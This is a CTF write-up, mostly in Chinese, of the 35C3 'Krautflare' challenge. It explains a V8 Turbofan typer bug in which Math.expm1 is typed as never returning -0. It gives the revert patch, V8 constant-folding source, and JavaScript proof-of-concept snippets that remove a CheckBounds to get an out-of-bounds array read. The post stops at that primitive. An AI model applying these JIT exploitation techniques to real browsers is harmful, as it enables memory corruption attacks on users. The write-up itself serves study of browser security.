Home 35c3 CTF Krautflare
Post
Cancel

35c3 CTF Krautflare

Krautflare workers are the newest breakthrough in serverless computing. And since we’re taking security very seriously, we’re even isolating customer workloads from each other!

For our demo, we added an ancient v8 vulnerability to show that it’s un-exploitable! See https://bugs.chromium.org/p/project-zero/issues/detail?id=1710 for details. Fortunately, that was the last vulnerability in v8 and our product will be secure from now on.

Files at https://35c3ctf.ccc.ac/uploads/krautflare-33ce1021f2353607a9d4cc0af02b0b28.tar. Challenge at: nc 35.246.172.142 1

Note: This challenge is hard! It’s made for all the people who asked for a hard Chrome pwnable in this survey at https://twitter.com/_tsuro/status/1057676059586560000. Though the bug linked above gives you a rough walkthrough how to exploit it, you’ll just have to figure out the details. I hope you paid attention in your compiler lectures :). Good luck, you have been warned!

这道题目的原型是一个旧的V8 typer漏洞,在当时这个漏洞被认为是不可利用的。但是在题目的reference中给出了利用这个漏洞的新思路,而我们要做的就是搞清楚这些思路背后的细节,并参考这些细节为这道题编写exp。

understanding vulnerability

要理解这个漏洞首先需要对JS中Math.expm1()这个函数有一定的了解。

这个函数实际上可以翻译为下面的公式:\({Math.expm1}(x) = {e}^x - 1\)

但是x的值也有几种特殊情况:

  • 当x = 0:函数的返回值也为0。
  • 当x = -0:函数的返回值也为-0。

要理解这个漏洞需要结合题目所给出的patch以及reference中的描述。题目给的patch是一个回滚的patch,将V8的代码patch到漏洞发生以前的版本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
commit 950e28228cefd1266cf710f021a67086e67ac6a6
Author: Your Name <you@example.com>
Date:   Sat Dec 15 14:59:37 2018 +0100

    Revert "[turbofan] Fix Math.expm1 builtin typing."
    
    This reverts commit c59c9c46b589deb2a41ba07cf87275921b8b2885.

diff --git a/src/compiler/typer.cc b/src/compiler/typer.cc
index 60e7ed574a..8324dc06d7 100644
--- a/src/compiler/typer.cc
+++ b/src/compiler/typer.cc
@@ -1491,6 +1491,7 @@ Type Typer::Visitor::JSCallTyper(Type fun, Typer* t) {
     // Unary math functions.
     case BuiltinFunctionId::kMathAbs:
     case BuiltinFunctionId::kMathExp:
+    case BuiltinFunctionId::kMathExpm1:
       return Type::Union(Type::PlainNumber(), Type::NaN(), t->zone());
     case BuiltinFunctionId::kMathAcos:
     case BuiltinFunctionId::kMathAcosh:
@@ -1500,7 +1501,6 @@ Type Typer::Visitor::JSCallTyper(Type fun, Typer* t) {
     case BuiltinFunctionId::kMathAtanh:
     case BuiltinFunctionId::kMathCbrt:
     case BuiltinFunctionId::kMathCos:
-    case BuiltinFunctionId::kMathExpm1:
     case BuiltinFunctionId::kMathFround:
     case BuiltinFunctionId::kMathLog:
     case BuiltinFunctionId::kMathLog1p:

patch的位置是在JSCallTyper()这个函数中,这个函数是JSCall Node的Typer函数。在Typer函数中将为对应类型的Node赋予类型信息,这个类型信息的来源包括:Node本身的类型,Node参数,Node的数据依赖……对于JSCall Node来说,JSCallTyper()函数中有一部分逻辑是根据JSCall所调用的内置函数来为JSCall这个Node确定type,而patch正发生在这一部分。

这个patch主要调整了在调用Math.expm1()这个内置函数时JSCall Node将被赋予的Type,在调整之后有关Math.expm1()这个函数的JSCall,将被typer赋予Union(PlainNumber, NaN)这个type(原本是Number type)。

再结合reference中对于漏洞的描述:

The typer sets the type of Math.expm1 to be Union(PlainNumber, NaN). This is missing the -0 case: Math.expm1(-0) returns -0.

漏洞的成因就在于JSCallTyper()函数在typer阶段为Math.expm1() 函数赋予了错误的type:Union(PlainNumber, NaN)。通过阅读源码我们可以了解到PlainNumber这个类型代表结果可能为全体数字的值(不包括-0),而NaN代表的是IEEE 754中不能表示数字的编码(不包括-0)。也就是说为Math.expm1() 赋予的Type表示这个函数的返回值不可能为-0,这个和真实的计算情况是不符的,因为Math.expm1(-0) = -0 。而turbofan的之后的优化都是根据这个type来进行的,这个错误的type就很有可能导致错误的优化结果,错误的优化结果就可能导致v8在执行的过程中出现一些错误的行为。

how to exploit it

对于一个typer漏洞来说,能想到的最直观的利用方法就是:将这个拥有错误type的计算(Math.expm1(-0))和数组的索引的计算联系起来,将这个错误的type向数组索引的type传递,然后利用这个错误的type在Simplified Lowering(SL)阶段优化掉访问数组的CheckBounds,这样就可以用大索引越界访问数组后面的内存

这个方法的核心思想是:在turbofan进行优化时根据type模拟计算得到的结果,和由turbofan编译产生的字节码执行所得到的结果,必须要是不同的。这样才能在消去CheckBounds的同时获得越界访问。

针对于上这个漏洞来说,首先我们需要将type的错误”放大”,本来type只是缺少了MinusZero,通过将Math.expm1(-0)函数的结果传递给Object.is()函数,将Typer的错误放大为boolean变量false和true取值不同这样尺度大一些的错误,最后用这个boolean值来计算数组的索引。由这个思路出发我们可以得到下面的利用函数:

1
2
3
4
5
function foo() {
    let a = [0.1, 0.2, 0.3, 0.4];
    let b = Object.is(Math.expm1(-0), -0);//本应为true但是在typer中模拟的结果是false
    return a[b * 1337];
}

这个函数的利用思路是这样的:

  • 首先因为错误的typer,Math.expm1(-0)的type中不包含MinusZero,所以Object.is()Type的将被计算为false。
  • 这样继续向下计算type,b *1337这个乘法的type将被计算为Range(0, 0)。
  • 因为a的length是4,而索引的type为Range(0, 0)(等价于索引值为0),这次访问数组的CheckBounds将在SL阶段被消除。
  • 但是在运行时Math.expm1(-0)的计算结果仍然是-0(这里就是上面提到的核心思想,typer和执行结果必须是不同的),导致最终b * 1337的计算结果是1337。
  • 但是这个时候CheckBounds已经被消除,所以将拿着这个索引直接去访问数组,完成越界读。

上面就是触发漏洞的理想情况,但是在实际触发的过程中遇到了很多问题,而这个漏洞之所以在被发现时认为是不可利用的就是因为这些问题,下面的工作就是一个一个的解决这些问题。

pitfall

how to reserve JSCall

一开始我并没有直接尝试去写exp,而是按照题目reference中的提示写了一个小poc去尝试触发漏洞:

1
2
3
4
5
6
7
8
9
10
11
function foo()
{
    var a = Object.is(Math.expm1(-0), -0);
    console.log(a);
}

foo();

%OptimizeFunctionOnNextCall(foo);

foo()

按照reference中的提示:在经历过Typer phase和Load Elimination phase之后,turbofan将会进行Constant Folding Reducer,在Constant Folding中因为Object.is()(这个时候已经被优化为一个ObjectIsMinusZero Node)的参数的Type都已经知道,所以将会被折叠为一个ConstantFalse Node这样优化后的代码的输出结果应该是False。

但是我发现漏洞并没有触发,两次foo()函数的输出结果都是true。用Turbbolizer观察了SoN之后,发现问题是Math.expm1(-0)这个函数调用所产生的JSCall Node在inlining阶段被优化成了一个NumberExpm1 Node,如下图:

image-20221010102639324

但是漏洞发生于JSCall的Typer函数而不是NumberExpm1的Typer函数,在这样的优化下错误的Typer就不会被触发。为了触发漏洞必须保留这个JSCall Node不能让他被优化掉。这个优化的结果是:JSCall–>NumberExpm1,一开始我以为是因为Turbofan发现了Math.expm1()的参数是Number所以做出这样的优化,所以我把Poc改成下面的样子:

1
2
3
4
5
6
7
8
9
10
function foo(x)
{
    var a = Object.is(Math.expm1(x), -0);
    console.log(a);
}

foo('a');

%OptimizeFunctionOnNextCall(foo);
foo(-0);

Math.expm1()的参数从局部变量修改为一个函数参数,这样Math.expm1()无法确定参数的类型,我想这样JSCall应该就不会再被优化掉了,但是事实并不是这样的,它还是会在inlining阶段把JsCall优化为NumberExpm1,所以我猜这个优化可能是一个默认优化:不管Math.expm1()的参数是什么类型,在inlining Phase都会将这个JSCall Node优化为NumberExpm1。

之后经过很多次的尝试我发现,如果在foo(x)函数第一次优化之后,向foo(x)传入一个非Number的参数x将会导致这个函数deoptimize,deoptimize的原因如下:

1
2
[deoptimizing (DEOPT eager): begin 0x2aef2fb1de99 <JSFunction foo (sfi = 0x2aef2fb1dc81)> (opt #0) @0, FP to SP delta: 24, caller sp: 0x7fff2ed61ad0]
            ;;; deoptimize at <./exp.js:16:28>, not a Number or Oddball

之后再调用Turbofan将foo(x)函数优化,JSCall就不会在inlining Pase再被优化了,我猜可能是在这一次deoptimize的过程中Ignition获得了feedback info告诉TurbofanMath.expm1()函数的参数可能不是一个Number,这样刚才说过的默认优化就被取消了,最终的Poc长下面这样:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
function foo(x)
{
    var a = Object.is(Math.expm1(x), -0);
    console.log(a);
}

foo('a');

%OptimizeFunctionOnNextCall(foo);
foo('a');

%OptimizeFunctionOnNextCall(foo);

foo(-0);//false

最终的输出结果为false说明漏洞已经被触发了。这样就解决掉了第一个问题。

skip constant folding phase

那么接下来是不是可以直接使用下面这段代码获得越界读了呢:

1
2
3
4
5
6
7
8
9
10
11
12
13
function foo(x) {
    let a = [0.1, 0.2, 0.3, 0.4];
    let b = Object.is(Math.expm1(x), -0);//本应为true但是在typer中模拟的结果是false
    return a[b * 1337];
}
foo('a');

%OptimizeFunctionOnNextCall(foo);
foo('a');

%OptimizeFunctionOnNextCall(foo);

foo(-0);

答案是不能,问题出在turbofan优化过程中的constant folding。刚才提到过Turbofan在优化的过程中将会进行constant folding,这将导致Object.is()直接被优化为ConstantFalse(b = false),虽然这样的优化将导致错误的结果,但是这个错误的结果对利用这个漏洞是没有帮助的。我们来对比一下当前的情况和我们理想的情况:

  • 当前情况:因为constant folding的原因Object.is()被折叠为constantfalse导致b的值为false,b * 1337 = 0,这样虽然CheckBounds被消除,但是用0索引来访问数组还是没办法触发越界读。
  • 理想情况:Object.is()不被折叠,错误的type沿着SoN传递(传播过程中b * 1337这个乘法Node的Type被错误的计算为Range(0, 0))最终导致CheckBounds被消除,但是Object.is()仍然正确计算,最终b的值为true,b * 1337 = 1337,最终用这个很大的索引访问数组,导致越界读。

我们想要的是错误的type的传播,导致CheckBound被消除,但是仍然保留正确的计算结果,才能导致越界读。所以这就引出了我们要解决的第二个问题如何跳过Turbofan优化过程中的几次constant folding。

为了防止Object.is()被折叠为false,首先要知道怎么样绕过constant folding(CF)这个优化,为此需要去阅读有关这个优化的源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
Reduction ConstantFoldingReducer::Reduce(Node* node) {
  DisallowHeapAccess no_heap_access;
  // Check if the output type is a singleton.  In that case we already know the
  // result value and can simply replace the node if it's eliminable.
  if (!NodeProperties::IsConstant(node) && NodeProperties::IsTyped(node) &&
      node->op()->HasProperty(Operator::kEliminatable)) {
    // TODO(v8:5303): We must not eliminate FinishRegion here. This special
    // case can be removed once we have separate operators for value and
    // effect regions.
    if (node->opcode() == IrOpcode::kFinishRegion) return NoChange();
    // We can only constant-fold nodes here, that are known to not cause any
    // side-effect, may it be a JavaScript observable side-effect or a possible
    // eager deoptimization exit (i.e. {node} has an operator that doesn't have
    // the Operator::kNoDeopt property).
    Type upper = NodeProperties::GetType(node);
    if (!upper.IsNone()) {
      Node* replacement = nullptr;
      if (upper.IsHeapConstant()) {
        replacement = jsgraph()->Constant(upper.AsHeapConstant()->Ref());
      } else if (upper.Is(Type::MinusZero())) {
        Factory* factory = jsgraph()->isolate()->factory();
        ObjectRef minus_zero(broker(), factory->minus_zero_value());
        replacement = jsgraph()->Constant(minus_zero);
      } else if (upper.Is(Type::NaN())) {
        replacement = jsgraph()->NaNConstant();
      } else if (upper.Is(Type::Null())) {
        replacement = jsgraph()->NullConstant();
      } else if (upper.Is(Type::PlainNumber()) && upper.Min() == upper.Max()) {
        replacement = jsgraph()->Constant(upper.Min());
      } else if (upper.Is(Type::Undefined())) {
        replacement = jsgraph()->UndefinedConstant();
      }
      if (replacement) {
        // Make sure the node has a type.
        if (!NodeProperties::IsTyped(replacement)) {
          NodeProperties::SetType(replacement, upper);
        }
        ReplaceWithValue(node, replacement);
        return Changed(replacement);
      }
    }
  }
  return NoChange();
}

从上面的代码中可以看到CF这个优化的逻辑:对要优化的Node进行一些检查(是否可以被消除,是否已经是一个常量)之后根据Node的type对这个Node进行优化,如果Node的Type是一个常量,那么就将这个Node优化为对应的Constant Node针对于这上面的Poc来说CF优化是这样工作的:

  • 首先Object.is()这个函数调用会在Typer之前被优化为一个SameValue Node。

  • 然后在Typer的过程中会对SameValue Node进行处理,因为这个Node的一个操作数是-0,而另一个操作数是Union(PlainNumber, NaN),这两个操作数类型上没有重合所以不可能是Same Value,在Typer阶段将会为Typer打上False的type(false在V8中由一个HeapObject来表示,type为HeapConstant)如下图:

    image-20221011105916850

  • 在CF中发现SameValue的type为HeapConstant,所以直接将这个Node优化为对应的HeapConstant。

    image-20221011105940189

从上面的优化过程得出的结论就是可以通过隐藏SameValue的type来阻止SameValue被折叠,而SameValue type的隐藏可以通过隐藏操作数的type来完成(不知道操作数的type就没有办法对SameValue Node进行Typer)。但是也不能一直隐藏SameValue的Type,因为在最后SL阶段消除CheckBounds必须要使用SamValue的Type。所以接下来又引出了两个问题:

  • 在什么时候释放SameValue Node的type信息。
  • 应该用什么样的方法隐藏SameValue的type信息,这个方法还要保证在某个时间点可以释放type信息。

首先讨论在要在什么时候恢复type信息的问题,为了解决这个问题我们需要搞清楚turbofan的优化流程中都有哪些Phase拥有constant folding这个优化。通过阅读pipeline.cc中的代码得到下面这张图:

Relevant Turbofan pipeline

从上面的图中可以知道在SoN的优化过程中,最后一个constant folding在Load Elimination Phase中,而消除CheckBound之前最后一次typer的机会在SL的Retype阶段。所以为了绕过所有的CF,并可以使用最后一次typer来获得type信息,SameValue Node的type只能在逃逸分析阶段或者SL的truncation propagation阶段释放出来.

这个地方必须解释一下这个释放的含义。这里的释放指的是指通过某种优化或者处理,让typer可以识别到SameValue Node的type是false,因为在释放之前SameValue Node的type信息是被隐藏的,typer可能只是得到SameValue Node的type是一个boolean。

那么应该用什么样的方法隐藏SameValue的type,还可以让type在上述的时间点再次释放出来呢?这个地方也是解决这个题目的难点。去网上参考了参赛者的write up,才知道这个地方应该怎么办。他们通过将Object.is()的第二个参数包装为object的property来解决这个问题,下面是改进后的Poc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
function foo(x) {
    let a = [0.1, 0.2, 0.3, 0.4];
    let o = {mz: -0};
    let b = Object.is(Math.expm1(x), o.mz);
    return a[b * 1337];
}
foo('a');

%OptimizeFunctionOnNextCall(foo);
foo('a');

%OptimizeFunctionOnNextCall(foo);

foo(-0);

和前一个Poc很像但是将Object.is()的第二个参数包装为一个property了。然后就是这个方法的原理:

  • 首先因为Object.is()的第二个参数变成了一个Object的property,而且是一个in object property,反应到SoN中是一个LoadField Node,因为LoadField加载的property值为-0所以在Typer阶段它的type是Number(这个原理我也没太搞清楚,但似乎是加载unboxed double类型的值type就会被打上Number)。

    image-20221011172425321

  • 在typer阶段因为SameValue Node的两个操作数一个是Union(PlainNumber, NaN)类型另一个是Number类型,两个类型没有完全重合或者完全分离,所以没有办法,所以SameValue Node没有办法计算输出为false,只能被打上Boolean的type。

    image-20221011173201428

  • 进而导致在constant folding阶段没有办法被折叠。所以绕过了前面的所有的CF。

  • 而到了Escape Analysis Phase,因为o这个Object被逃逸分析判断不会从foo函数中逃逸,所以被o这个被保存在堆中的对象将在栈中被展开,对象中所有的property也都变成了函数的局部变量,这个时候再访问mz这个property时就不需要再从object中加载,而是可以直接访问mz这个值的Node。如下图:

    image-20221011173921270

  • 这样隐藏的类型信息就被释放出来了,经过Escape Analysis Phase之后,到了Simplfied Lowering Phase会有一次Retype重新计算Node的type,这个时候SameValue的type将会被重新计算为false,等价于变量b = false;b * 1337 = 0,因为索引为0在CheckBounds Elimination优化中会将访问数组的CheckBounds消除。

  • 同样因为SameValue Node没有被折叠,所以在生成的机器码中不会直接使用false作为Object.is()的结果,而是会正确的计算Object.is()的参数然后正确的计算函数的返回值,导致在实际执行时得到的的Object.is()的返回值是正确的为true(实际情况下b = true),进一步导致b * 1337 = 1337,而因为此时CheckBounds已经被消除,所以将使用这个大索引去越界访问数组。

    image-20221012094944910

这个绕过constant folding的思路真的很厉害,非常考验利用者对turbofan优化过程的理解。有了一次越界读写之后就可以按照常规的思路去写exp了。

This post is licensed under CC BY 4.0 by the author.
Trending Tags